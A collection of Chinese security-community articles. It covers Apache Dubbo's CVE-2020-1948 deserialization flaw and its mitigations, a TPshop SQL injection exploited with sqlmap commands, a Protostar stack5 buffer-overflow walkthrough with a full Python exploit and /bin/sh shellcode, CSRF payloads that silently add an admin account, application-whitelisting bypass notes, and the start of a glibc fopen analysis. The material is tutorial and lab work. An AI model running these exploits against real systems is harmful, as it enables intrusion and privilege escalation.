public static boolean isEcho(String path, String method)
{return "$echo".equals(method);}
通过对历史版本的回溯，发现在2019.10.31日的一次提交中DubboProtocol类的getInvoker函数的RemotingException代码块中增加了getInvocationWithoutData方法，对inv对象的arguments参数进行置空操作，用来缓解后反序列化攻击，此处正是CVE-2020-1948漏洞后反序列化利用的触发点。
如下getInvocationWithoutData函数，可能是为了方便开发者排查问题，如果系统配置log4j
debug级别或者不配置任何其他级别，则不会将inv对象的arguments参数设置为null，会直接返回invocation对象，所以还是存在被后反序列化漏洞攻击的风险。所谓后反序列化简单理解就是漏洞是在对象被正常反序列化之后触发，比如在异常处理中对成功反序列化的对象进行间接或直接的函数调用，从而导致的代码执行。
/*** only log body in debugger mode for size & security consideration.
*
* @param invocation
* @return
*/
private Invocation getInvocationWithoutData
(Invocation invocation)
{if (logger.isDebugEnabled()) {return invocation; }
if (invocation instanceof RpcInvocation)
{RpcInvocation rpcInvocation = (RpcInvocation) invocation;
rpcInvocation.setArguments(null);
return rpcInvocation;}
return invocation; }
由上可知，DecodeableRpcInvocation#decode请求体解码函数的验证逻辑存在绕过DubboProtocol#getInvocationWithoutData函数的后反序列缓解存在无效情况。
### 构造POC
知道了method的验证逻辑，修改CVE-2020-1948
Poc中的的service_name和method_name参数的值，分别为：org.apache.dubbo.rpc.service.GenericService和$invoke。
在DecodeableRpcInvocation类中的decode函数方法起始处设置断点进行Debug。
代码123-124行首先通过path（对应客户端的service_name）参数来获取服务描述对象repository，该对象包含了服务名、接口类型和方法信息等。
继续跟进，由于params是我们构造Gadget, 最终repository对象获取到函数描述对象为null。
继续跟进,由于pts变量没有被赋值，所以pts== DubboCodec.EMPTY_CLASS_ARRAY表达式成立,
接着进入isGenericCall函数，由于rpc调用设置的method的值为$invoke，此处可以验证通过。
最后进入hession反序列化流程，成功执行了代码。
可以看到调用栈如下：
另外，Dubbo暴露的端口如果开启了Telnet协议，攻击者可以连接到服务通过ls命令查看service、method等信息，甚至可以执行shutdown危险操作直接关停服务。白帽子@CF_HB在Dubbo
2.6.8版本通过Telnet服务中InvokeTelnetHandler.java类在处理invoke命令时的漏洞结合Fastjson反序列化漏洞成功进行了利用。随着越来越多的安全研究人员对Dubbo安全问题的关注，相信后面会有更多的漏洞被挖掘出来。
### 漏洞的修复
1.由社区aquariuspj用户给出的对DecodeableRpcInvocation增加入参类型校验
2.漏洞发现者ruilin建议删除RpcInvocation类的toString方法中输出的arguments参数,防范后反序列化攻击。同时对Hessian进行黑白名单加固来防范Hessian反序列化攻击。
目前官方和社区给出的修复方法都是单点防御，很容易被攻击者绕过，短期防护可参考玄武实验室给出的方案:
* 出网限制
经研究当前存在的反序列化利用链大多需要远程加载恶意类，如果没有特殊需求，建议在不影响业务的情况下将服务器配置出外网限制。
* IP白名单
建议用户将能够连接至Dubbo服务端的消费端IP加入到可信IP白名单里，并在服务端配置可信IP白名单，以防止攻击者在外部直接发起连接请求。
* 更换默认的反序列化方式
Dubbo协议默认采用Hessian作为序列化反序列化方式，而Hessian存在危险的反序列化漏洞。用户可以在考虑不影响业务的情况下更换协议以及反序列化方式，如：rest，grpc，thrift等。
* 关闭公网端口
不要将Dubbo服务端的开放端口暴露在公网，但需要注意这种场景若攻击者在内网环境仍然可以进行攻击。
### 参考
Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)
<https://xlab.tencent.com/cn/2020/06/23/xlab-20-001/>
Java“后反序列化漏洞”利用思路
<http://rui0.cn/archives/1338>
[CVE-2020-1948] Apache Dubbo Provider default deserialization cause RCE
<https://www.mail-archive.com/[email protected]/msg06544.html>
* * * | 社区文章 |
### **0x01 前言**
> [TPshop](http://tp-shop.cn "TPshop")开源商城系统( [Thinkphp shop](http://tp-> shop.cn "Thinkphp shop")的简称
> )，是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城，系统PC+后台是基于[ThinkPHP](http://thinkphp.cn
> "ThinkPHP")
> MVC构架开发的跨平台开源软件，设计得非常灵活，具有模块化架构体系和丰富的功能，易于与第三方应用系统无缝集成，在设计上，包含相当全面，以模块化架构体系，让应用组合变得相当灵活，功能也相当丰富。
### **0x02 代码分析**
跟踪到**/Application/supplier/Controller/Goods.php**中的**delGoodsImages**方法
* 47 Line: 从外部获取参数为filename的值赋给$path
* 48 Line: 将$path拼接到where语句中，然后带入查询
### **0x03 漏洞探测**
<http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1>'
### **0x04 漏洞复现**
sqlmap -u "http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1*" --cookie "PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735 " --random-agent --batch --dbms "mysql"
sqlmap -u "http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1*" --cookie "PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735 " --random-agent --batch --dbms "mysql" --current-db
sqlmap -u "http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1*" --cookie "PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735 " --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables
### **0x05 漏洞修复**
**_慎用delete注入_** | 社区文章 |
Puppeteer 与 Chrome Headless —— 从入门到爬虫
<https://github.com/csbun/thal>
中文译文地址，关于如何利用 Chrome Headless 实现爬虫的初级介绍；
<http://csbun.github.io/blog/2017/09/puppeteer/>
原文：
[Getting started with Puppeteer and Chrome Headless for Web
Scraping](https://medium.com/@e_mad_ehsan/getting-started-with-puppeteer-and-chrome-headless-for-web-scrapping-6bf5979dee3e "Getting started with Puppeteer
and Chrome Headless for Web Scraping")
Github 项目地址：<https://github.com/emadehsan/thal>
【譯】Headless Chrome 入門指南
<https://segmentfault.com/a/1190000010411069>
## 基础
Python3 实现重构 puppeteer
<https://github.com/miyakogi/pyppeteer>
## 深入进阶
爬虫基础篇[Web 漏洞扫描器]
<http://blog.fatezero.org/2018/03/05/web-scanner-crawler-01/>
A Python Package for the Google Chrome Dev Protocol
<https://github.com/fate0/pychrome>
使用 Headless Chrome 打造一个Crawler
<https://github.com/yujiosaka/headless-chrome-crawler>
Chrome DevTools Protocol (CDP)
<https://chromedevtools.github.io/devtools-protocol/>
Chrome Debugging Protocol interface for Node.js
<https://github.com/cyrus-and/chrome-remote-interface>
Chromium Docs
<https://chromium.googlesource.com/chromium/src/+/master/docs/>
Chromium 源码
<https://cs.chromium.org/chromium/src/>
Chrome Headless 命令行参数 选项 列表
<https://peter.sh/experiments/chromium-command-line-switches/>
<https://cs.chromium.org/chromium/src/content/public/common/content_switches.cc>
高阶操作 API 函数
<https://chromedevtools.github.io/devtools-protocol/tot/Network> | 社区文章 |
原文：<https://0xrick.github.io/binary-exploitation/bof5/>
## 引言
在本文中，我们将会向读者详细介绍如何利用具有SUID权限的二进制文件中的缓冲区漏洞来实现提权；在此过程中，我们还会介绍一些非常有趣的主题，来帮助读者充分了解该漏洞的利用过程。与前面的文章相比，本篇是最具有实战意义的一篇。之所以这么说，因为以前介绍的缓冲区溢出漏洞利用方法，都需要修改变量、执行函数……，所以，它们看起来更像是CTF之类的东西，但这次我们将会接触一个现实中的漏洞。好了，废话少说，下面直入主题。
如果读者还没有看过之前的文章，建议大家读完那些文章之后，再回过头来阅读本文。
## ./Stack5
跟以前所有的挑战一样，本挑战也提供了相应的源代码，但就本文而言，这里有没有源代码并不重要。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
我们可以看到，上面的代码非常简单——接受我们提供的输入数据，并将其存储在缓冲区中，甚至都没有告诉我们缓冲区的大小是多少？。那么char
buffer[64];是否表明了缓冲区的大小呢？和Stack4挑战一样，如果我们尝试输入64个字符的话，它根本就不会崩溃。
和往常一样，我们将首先找出二进制文件是否易受攻击（是的，尽管我们已经知道这一点了，不过，现实中这却是一个重要的枚举步骤）。
python -c "print 'A' * 100" | ./stack5
我们看到，这里出现了分段故障。所以，这表明程序在接受100个字符之前就崩溃了，接下来要做的事情，就是要搞清楚倒底是在哪里崩溃的。为此，我们可以使用metasploit的pattern_create和pattern_offset，其中的工作机制我们已经在Stack3挑战题中解释过了，这里就不再赘述。
./pattern_create.rb -l 100
然后，我们将运行gdb，并在main()中创建一个断点，然后继续运行程序，向其传递我们的模式：
break main
run
c
程序会在0x63413563处崩溃，这时，就该pattern_offset上场了：
./pattern_offset.rb -q 63413563
在偏移量76处，我们获得了精确的匹配项。正如前面所说的，我们将利用这个二进制文件来获取一个root
shell，但是，如何确定这个二进制文件是否具有suid权限呢？为此，直接使用find即可：
find /opt/protostar/bin/ -perm -4000 | grep stack5
我们可以看到，这里的输出内容为/opt/prototar/bin/stack5；实际上，如果这个二进制文件没有suid权限的话，我们是看不到任何输出内容的。如果只是搜索具有suid权限的二进制文件的话，可以删除上面的grep命令，因为它会列出指定目录中的所有具有suid权限的二进制文件。
## 利用gdb查找EIP
现在，让我们再次运行gdb，以收集有用的信息。需要说明的是，这里的内存地址可能与你运行代码时所看到的有所不同。上次，我们用win()函数的地址覆盖了EIP地址。这一次，我们没有函数要执行，所以，必须找到EIP的地址，并使它指向我们的“恶意输入”（即shellcode），这一点将在稍后解释。
在这里，我们把反汇编风格设置为intel：
set disassembly-flavor intel
然后，开始反汇编主函数：
disassemble main
通过观察不难发现，设置断点的最佳位置，就位于leave指令之前，而leave指令正好位于return指令之前，同时，leave指令的地址是0x080483D9，因此，我们将键入：
break *0x080483d9
然后，我们可以运行该程序，并向输入一些任意的内容，通常是一些字符A。
该程序执行后，会在断点处停止运行，通过键入info frame命令，我们就可以获得相应的EIP地址了：
info frame
最后2行显示的是当前帧中存储的寄存器，其中，eip寄存器的值保存在地址0xBFFFF77C处。
## 获取缓冲区大小的另一种手段
接下来，我们将为读者简要介绍另一种获得缓冲区大小的方法。
虽然Metasploit是一个很酷的工具，但是，如果我们在某些情况下无法使用Metasploit的话，那该咋整呢？我们可以通过手动计算缓冲区起始地址和EIP地址之差来确定缓冲区的大小；现在，我们已经得到了EIP地址，所以，接下来我们设法确定缓冲区的起始地址。
如果我们键入x/24wx$esp命令，它将显示栈顶部24个机器字中的内容。
x/24wx $esp
在第二行中，我们可以看到地址0xBFFFF730，该地址处存放的值为0x41414141，我们已经知道，41是字符“A”的十六进制表示形式，即程序的输入内容，因此，我们就可以断定，该地址就是这个缓冲区的起始地址。我们知道，缓冲区先于EIP，所以，EIP的地址大于缓冲区的地址。下面，我们求两个地址之差：
p/d 0xbffff77c - 0xbffff730
最后，得到的两者之差是76，这与使用Metasploit得到的结果是相同的。换句话说，这也是一种确定缓冲区大小的实用方法。
## 漏洞的利用思路
在构建漏洞利用代码之前，让我们先来了解漏洞利用代码的概念。之前，我们一直在用字符“A”来填充缓冲区，直到抵达保存EIP的位置，并用一个指向shell代码的新地址来覆盖它，然后，我们将添加一些名为NOP（无操作）的东西，最后才是shellcode。
## ShellCode
那么，什么是shellcode呢？简单地说，它就是一段代码（“就本文来说，就是用十六进制编写的代码”），它可以用作payload来完成某些操作，例如/bin/sh。我们知道，这个二进制文件具有suid权限，所以，如果我们用二进制文件来运行执行/bin/sh的shellcode的话，我们就能获得一个root
shell。
实际上，我们可以从[shell-storm](http://shell-storm.org/shellcode/ "shell-storm")或[exploit-db](https://www.exploit-db.com/ "exploit-db")网站下载相应的shellcode。
下面给出完成该挑战所需的shellcode：
\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
这个shellcode将执行/bin/sh命令。
## NOP（空操作指令）
基本上，我们需要通过空操作指令来确保漏洞利用代码不会失败，因为，我们无法始终指向正确的地址，所以，我们需要添加不会做任何事情的空操作指令，并指向它们，这样，当程序执行时，将首先抵达那些NOP所在的地址，并不断向下执行这些指令（即什么也不做），直到抵达shellcode所在的位置。
## 构建漏洞利用代码
对于上一个挑战问题来说，我们使用了一个Python
Print语句就搞定了。不过就这里来说，情况有点复杂，因此，我们将使用Python语言来编写一个漏洞利用程序。
首先，我们需要导入一个名为struct的模块，至于为什么要这样做，稍后加以解释。
import struct
之后，我们将创建一个变量来存储相应的填充物，即填充缓冲区的字符。
pad = "\x41" * 76
当用这些字符填满缓冲区并命中EIP后，我们需要为其指定一个新的EIP地址，具体来说，需要让它指向后面一条指令（它位于原始EIP地址后面的4个字节中）的地址，因此，它将变成0xBFFFF77C+4，即0xBFFFF780。接着，我们需要把这个值添加到一个变量中，但请记住，存放时要把字节顺序反过来，这就是为什么导入struct模块的原因。在Python解释器中导入struct模块，具体命令为import
struct;，然后键入struct.pack（“i”，0xBFFF780)，将会得到\x80\xF7\xFF\xBF，这样一来，就不用担心把顺序弄错了。
EIP = struct.pack("I", 0xbffff780)
下面展示的是相应的shellcode：
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
最后一件事是填充NOP指令，实际上，它的长度没有什么硬性规定，所以，100个字符就很不错：
NOP = "\x90" * 100
OK，我们的漏洞利用代码已经准备好了，接下来，只需要打印输出最终的payload即可：
print pad + EIP + NOP + shellcode
下面，我们给出完整的脚本：
import struct
pad = "\x41" * 76
EIP = struct.pack("I", 0xbffff780)
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
NOP = "\x90" * 100
print pad + EIP + NOP + shellcode
## 应用漏洞利用代码
大家是不是已经按耐不住了！那好，赶紧测试一下。
python /tmp/stack5.py | ./stack5
果不其然，我们得到了一个root shell！
好了，本文到此就告一段落了，祝大家阅读愉快！ | 社区文章 |
Author：lshack
网文很多，这里总结整理一篇， _此敬系列作者们，引用如下_ ：
最火的[《浅谈CSRF攻击方式》](http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html)
圈内科普文1[《CSRF简单介绍及利用方法 | WooYun知识库》](https://drops.secquan.org/papers/155)
圈内科普文2[《邪恶的CSRF | WooYun知识库》](https://drops.secquan.org/web/15556)
圈内科普文3[《从零开始学CSRF》](http://www.freebuf.com/articles/web/55965.html)
CSRF（Cross-Site Request
Forgery，跨站点伪造请求）是一种网络攻击方式，该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点，从而在未授权的情况下执行在权限保护之下的操作，具有很大的危害性。具体来讲，可以这样理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等。
我们同样按照传播度最广的上面那片文章来梳理。
## _1._ CSRF是什么？
CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session
riding，缩写为：CSRF/XSRF。
## _2._ CSRF可以做什么？
攻击者可以根据浏览器或者网站程序漏洞盗用你的身份去进行一切你的权限可以执行的操作包括刷粉丝，关注大v，发论坛帖子，发邮件，以及早年的银行账户转账。所以由于目标站无token/referer限制，导致攻击者可以用户的身份完成操作达到各种目的。
## _3._ CSRF的原理是什么？
用户在左侧浏览器端使用用户名密码登录了a网站，a网站匹配校验了用户名密码返回一个cookie给左侧浏览器用户从此访问a网站的时候就带着第一次校验生效的cookie进行访问。此时现在多数为多标签浏览器时代，用户未退出a网站打开了新tab访问了b网站时，b网站返回攻击性恶意代码要求用户浏览器向a网站发送请求（如刷粉丝，关注大v，发论坛帖子，发邮件，以及早年的银行账户转账）。a网站识别用户cookie校验通过从而顺利执行了b网站的恶意请求或者代码。此次攻击完成。
## _4._ CSRF的分类？
如xss一般，xss有反射和存储。csrf固然有两种，因为他的温床是上图中的a和b和cookie，基于网站给予的温床才可以“施展”，所以根据现实适用性和广度来划分，大体分为GET和POST两种主流类型。
***存在即合理。我们来看下几个yy的场景。***
### _4.1._ GET型：
这种类型的CSRF一般是由于程序员安全意识不强造成的。GET类型的CSRF利用非常简单，只需要一个HTTP请求，所以，一般会这样利用：
<img src=http://xxxx.org/csrf.php?xx=11 />
是的，csrf叫做跨站伪造请求，基于跨站的，所以他是xss的表兄弟。
在访问b站里含有这个img的页面后，成功向<http://aaaaaa.org/csrf.php?xx=11发出了一次HTTP请求。所以，如果将该网址替换为存在GET型CSRF的地址，就能完成攻击了。>
如图这个地址固然不存在所以请求返回状态码是404，那么如果我们换成是a站里头真实存在的一个请求地址就完成了一次get请求的csrf攻击。
在具体些我们走入群众的视线去视察这样一种猥琐。
在一个bbs社区里，用户在发言的时候会发出一个这样的GET请求：
GET /talk.php?msg=hello HTTP/1.1
Host: www.bbs.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea
这是用户发言内容为“hello”时发出的请求，当然，用户在请求的同时带上了该域下的cookie，于是攻击者构造了下面的csrf.html页面：
<html>
<img src=http://www.bbs.com/talk.php?msg=goodbye />
</html>
可以看到，攻击者在自己的页面中构造了一个发言的GET请求，然后把这个页面放在自己的网站上，链接为`http://www.bbbbb.com/csrf.html`。之后攻击者通过某种方式诱骗受害者访问该链接又或者用户在第一个小节中的安全意识不足够，然后受害者此时处于登录状态（带着cookie），就会带上bbs.com域下含有自己认证信息的cookie访问`http://www.bbs.com/talk.php?msg=goodbye`,结果就是受害者按照攻击者的意愿提交了一份内容为“goodbye”的发言。
### _4.2._ POST型:
这种类型的CSRF危害没有GET型的大，利用起来通常使用的是一个自动提交的表单，如：
<form action=http://aaaaaa.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>
访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作。
我们同样走入群众。
在一个CMS系统的后台，发出下面的POST请求可以执行添加管理员的操作：
POST /manage.php?act=add HTTP/1.1
Host: www.cms.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
is_admin=234mn9guqgpi3434f9r3msd8dkekwel
uname=test&pword=test
在这里，攻击者构造了的csrf2.html页面如下：
<html>
<form action="/manage.php?act=add" method="post">
<input type="text" name="uname" value="evil" />
<input type="password" name="pword" value="123456" />
</form>
<script>
document.forms[0].submit();
</script>
</html>
该页面的链接为`http://www.bbbbb.com/csrf2.html`，攻击者诱骗已经登录后台的网站管理员访问该链接（比如通过给管理员留言等方式）会发生什么呢？当然是网站管理员根据攻击者伪造的请求添加了一个用户名为evil密码是123456的管理员用户。
### _4.3._ 其他猥琐流CSRF:
过基础认证的CSRF(常用于路由器):
<img src=http://admin:[email protected] />
加载该图片后，路由器会给用户一个合法的SESSION，就可以进行下一步操作了。
***综上***
CSRF攻击会根据场景的不同而危害迥异。小到诱使用户留言，大到垂直越权进行操作。这些攻击的请求都是跨域发出,并且至关重要的一点，都是在受害者的身份得到认证以后发生的。另外，我们在第一个场景中攻击时并没有使用JavaScrpit，这说明CSRF攻击并不依赖于JavaScript。
## _5._ CSRF如何防御？
从上面我们看出几个思路：
需要完成攻击的话？1、a生成cookie存于本地缓存b。2、不关闭a访问b
然而问题来了1、你不一定每次保证退出登录后cookie清除干净。2、不保证退出a，清除a，关闭a，再访问b。
所以要防御CSRF攻击，我们就要牢牢抓住CSRF攻击的几个特点。
首先是“跨域”，我们发现CSRF攻击的请求基本都是跨域的，针对这一特点，我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下，用户提交的都是站内的请求，其Referer中的来源地址应该是站内的地址。至关重要的一点是，前端的JavaScript无法修改Referer字段，这也是这种防御方法成立的条件。
第二点是“伪造”，这也是CSRF攻击的核心点，即伪造的请求。我们来想一下，攻击者为什么能够伪造请求呢？换句话说，攻击者能够伪造请求的条件是什么呢？纵观之前我们伪造的所有请求，无一例外，请求中所有参数的值都是我们可以预测的，如果出现了攻击者无法预测的参数值，那么将无法伪造请求，CSRF攻击也不会发生。基于这一点，我们有了如下的防御方法：
***在服务器端：***
### _5.1._ 添加验证码：
CSRF攻击的过程，往往是在用户不知情的情况下构造网络请求。所以如果使用验证码，那么每次操作都需要用户进行互动，从而简单有效的防御了CSRF攻击。但是如果你在一个网站作出任何举动都要输入验证码会严重影响用户体验，所以验证码一般只出现在特殊操作里面，或者在注册时候使用。然而当今猥琐流代表pkav祭出了一款[web-fuzz测试工具](http://www.pkav.net/tool/fuzzer/index.htm)可以绕过普通的验证码。慎用！
### _5.2._ 验证referer：
根据HTTP协议，在HTTP头中有一个字段叫Referer，它记录了该HTTP请求的来源地址。在通常情况下，访问一个安全受限页面的请求必须来自于同一个网站。比如某银行的转账是通过用户访问[http://bank.test/test?page=10&userID=101&money=10000页面完成，用户必须先登录bank](http://bank.test/test?page=10&userID=101&money=10000页面完成，用户必须先登录bank).
test，然后通过点击页面上的按钮来触发转账事件。当用户提交请求时，该转账请求的Referer值就会是转账按钮所在页面的URL（本例中，通常是以bank.
test域名开头的地址）。而如果攻击者要对银行网站实施CSRF攻击，他只能在自己的网站构造请求，当用户通过攻击者的网站发送请求到银行时，该请求的Referer是指向攻击者的网站。因此，要防御CSRF攻击，银行网站只需要对于每一个转账请求验证其Referer值，如果是以bank.
test开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果Referer是其他网站的话，就有可能是CSRF攻击，则拒绝该请求。
### _5.3._ 使用一次性token：
所谓token是一段字母数字随机值，我们可以把它理解为一个服务端帮我们填好的验证码！每当我们访问该页面时，服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中，当我们提交表单时，token会作为一个参数提交到服务端进行验证。在这个请求过程中，token的值也是攻击者无法预知的，而且由于同源策略的限制，攻击者也无法使用JavaScript获取其他域的token值，所以这种方法可以成功防御CSRF攻击，也是现在用的最多的防御方式。但是，需要注意的一点是，token的生成一定要随机，即不能被攻击者预测到，否则这种防御将形同虚设。另外，token如果作为GET请求的参数在url中显示的话，很容易在Referer中泄露。还有更重要的一点：如果在同域下存在XSS漏洞，那么基于token的CSRF防御将很容易被击破。
### _5.4._ 限制Session生命周期：
顾名思义，缩短Session的有效时间。 | 社区文章 |
# 应用白名单快速参考指南
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://subt0x10.blogspot.com/2016/02/application-whitelisting-quick.html>
译文仅供参考，具体内容表达以及含义原文为准。
我知道,我一般都是谈论如何绕过白名单,但是现在很多东西都已变样。
你是否熟悉网络防御演习或竞争的概念?如果你不熟悉的话,可以访问:<http://www.nationalccdc.org/>
这将是一个可阅读的快速指南的简明列表。
我希望应用白名单可以成为一种有效防御的工具。
但并不意味着这份名单要全面而且彻底。我研讨AppLocker是因为它在Windows的某些版本的操作系统中是免费的。
**为什么要考虑建立一个应用白名单?
** 1.防止执行未经授权的二进制文件。
2.防止未经授权的类似于服务的持久性机制。
3.迫使攻击者使用不同的或者不熟悉的工具。
4.它可以增加你对新的二进制文件,和新的操作的可视度。(见后续部分的Sysmon)
5.监测执行任意必要或不必要的命令或工具。
6.增加攻击者留下的痕迹,如复制网络中的二进制文件。
7.它真的不像你想象的那么难,你可以在在最小量的服务器和静态主机上尝试一下。
**
**
**攻击者如何绕过这道防御?**
1\.
PowerShell。PowerShell可以加载和执行内存中的.NET二进制文件,更多信息请参考:[http://www.powershellmagazine.com/2014/07/16/investigating-powershell-attacks/](http://www.powershellmagazine.com/2014/07/16/investigating-powershell-attacks/)
2.预定任务以及系统日志记录服务触发器。
3.滥用.NET实用程序(InstallUtil, RegSvcs, RegAsm)
4.反射性的DLL注入-从内存中执行Post-Exploitation
5\. Office应用程序,例如执行Excel.exe进程内的宏。
6.滥用本地或受信任的工具,如wmic, netsh, sethc类型的攻击。
7.利用Memory Resisdence或File-less,比如利用浏览器。
**我可以做什么?**
(还不确定这是否超出了CCDC的范围)
1.你需要更深层次的可见性和分析,比如像Sysmon一样的免费工具。详情请参考:
<https://technet.microsoft.com/en-us/sysinternals/sysmon>
<http://joshuadlewis.blogspot.com/2014/10/advanced-threat-detection-with-sysmon_74.html>
<http://www.darkoperator.com/blog/2014/8/8/sysinternals-sysmon>
**我的指导建议:**
(还将不断的更新)
1\. 不要接受默认的AppLocker条例。
2\. 避免Path Rules,这可以帮助你尽快发现漏洞。
3\. 使用Publisher或批准的证书更快达到一种安全的状态。
4\. 具体而言,你要知道禁止的文件是可疑的,或者不是运行所必需的文件。
**结束语:**
应用白名单的作用之一就是防止初始破解。但是它也并不是最完美的防御措施。因为根本就没有最完美的防御。 | 社区文章 |
**原文来自安全客，作者：raycp
原文链接：<https://www.anquanke.com/post/id/177910>**
## 前言
最近打算详细整理下`IO FILE`相关的笔记，不少地方都是知道个大概，因此这次打算从源码出发，把IO FILE相关的东西都过一遍。
思路大致是`fopen`、`fwrite`以及`fread`之类的IO函数的源码分析，再到libc2.24对vtable检查之前的利用方式，再到vtable检查的分析以及相应的对抗方式。
第一篇fopen详解，主要是基于源码的分析，源码的动态调试建议大家使用带调试符号的glibc，再次给大家推荐[
**pwn_debug**](https://github.com/ray-cp/pwn_debug)，可以很方便的安装带调试符号的glibc，使用debug模式即可。
## 源码分析
首先编写一个简单的调用fopen函数的c程序。
#include<stdio.h>
int main(){
FILE*fp=fopen("test","wb");
char *ptr=malloc(0x20);
return 0;
}
编译出来之后使用pwn_debug的debug模式开启程序，或者指定带调试符号的glibc，我这里使用的glibc版本是2.23。接下来开始分析。
gdb跟进去fopen函数，可以看到fopen实际上是
`_IO_new_fopen`函数，该函数在`/libio/iofopen.c`文件中，可以看到它调用的是`__fopen_internal`：
_IO_FILE *
_IO_new_fopen (const char *filename, const char *mode)
{
return __fopen_internal (filename, mode, 1);
}
跟进去`__fopen_internal`中，关键源码如下：
_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE)); ## step 1 分配内存
...
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps); ## step 2 null初始化结构体数据
...
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps; ## 设置vtable为_IO_file_jumps
_IO_file_init (&new_f->fp); ## step 3 将file结构体链接进去_IO_list_all
...
# step 4 打开文件
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap (&new_f->fp.file);
}
整个`__fopen_internal`函数包含四个部分： 1\. `malloc`分配内存空间。 2\. `_IO_no_init`
对file结构体进行`null`初始化。 3\. `_IO_file_init`将结构体链接进`_IO_list_all`链表。 4\.
`_IO_file_fopen`执行系统调用打开文件。
下面详细分析跟进去每个子函数进行分析。
### malloc分配内存空间
可以看到首先调用`malloc`函数分配了一个`struct
locked_FILE`大小的结构体，这个结构体比函数刚开始的地方定义，在64位系统中为0x230，该结构体包含三个`_IO_FILE_plus`、`_IO_lock_t`、`_IO_wide_data`，其中`_IO_FILE_plus`为使用的`IO
FILE`的结构体。执行完`malloc`后内存状态如下：
### _IO_no_init 对file结构体进行null初始化
在分配完空间后，接着就调用`_IO_no_init`函数去null初始化结构体，跟进去该函数，函数在`/libio/genops.c`中：
void
_IO_old_init (_IO_FILE *fp, int flags)
{
fp->_flags = _IO_MAGIC|flags;
fp->_flags2 = 0;
fp->_IO_buf_base = NULL;
fp->_IO_buf_end = NULL;
fp->_IO_read_base = NULL;
fp->_IO_read_ptr = NULL;
fp->_IO_read_end = NULL;
fp->_IO_write_base = NULL;
fp->_IO_write_ptr = NULL;
fp->_IO_write_end = NULL;
fp->_chain = NULL; /* Not necessary. */
fp->_IO_save_base = NULL;
fp->_IO_backup_base = NULL;
fp->_IO_save_end = NULL;
fp->_markers = NULL;
fp->_cur_column = 0;
...
fp->_vtable_offset = 0;
...
}
void
_IO_no_init (_IO_FILE *fp, int flags, int orientation,
struct _IO_wide_data *wd, const struct _IO_jump_t *jmp)
{
_IO_old_init (fp, flags);
fp->_mode = orientation;
...
## 初始化fp的_wide_data字段
fp->_wide_data = wd;
fp->_wide_data->_IO_buf_base = NULL;
fp->_wide_data->_IO_buf_end = NULL;
fp->_wide_data->_IO_read_base = NULL;
fp->_wide_data->_IO_read_ptr = NULL;
fp->_wide_data->_IO_read_end = NULL;
fp->_wide_data->_IO_write_base = NULL;
fp->_wide_data->_IO_write_ptr = NULL;
fp->_wide_data->_IO_write_end = NULL;
fp->_wide_data->_IO_save_base = NULL;
fp->_wide_data->_IO_backup_base = NULL;
fp->_wide_data->_IO_save_end = NULL;
fp->_wide_data->_wide_vtable = jmp;
...
fp->_freeres_list = NULL;
}
可以看到函数最主要的功能是初始化`locked_FILE`里面的`_IO_FILE_plus`结构体，基本上将所有的值都初始化为null以及默认值，同时将`_wide_data`字段赋值并初始化。初始化结束后，FILE结构体如下：
### _IO_file_init将结构体链接进_IO_list_all。
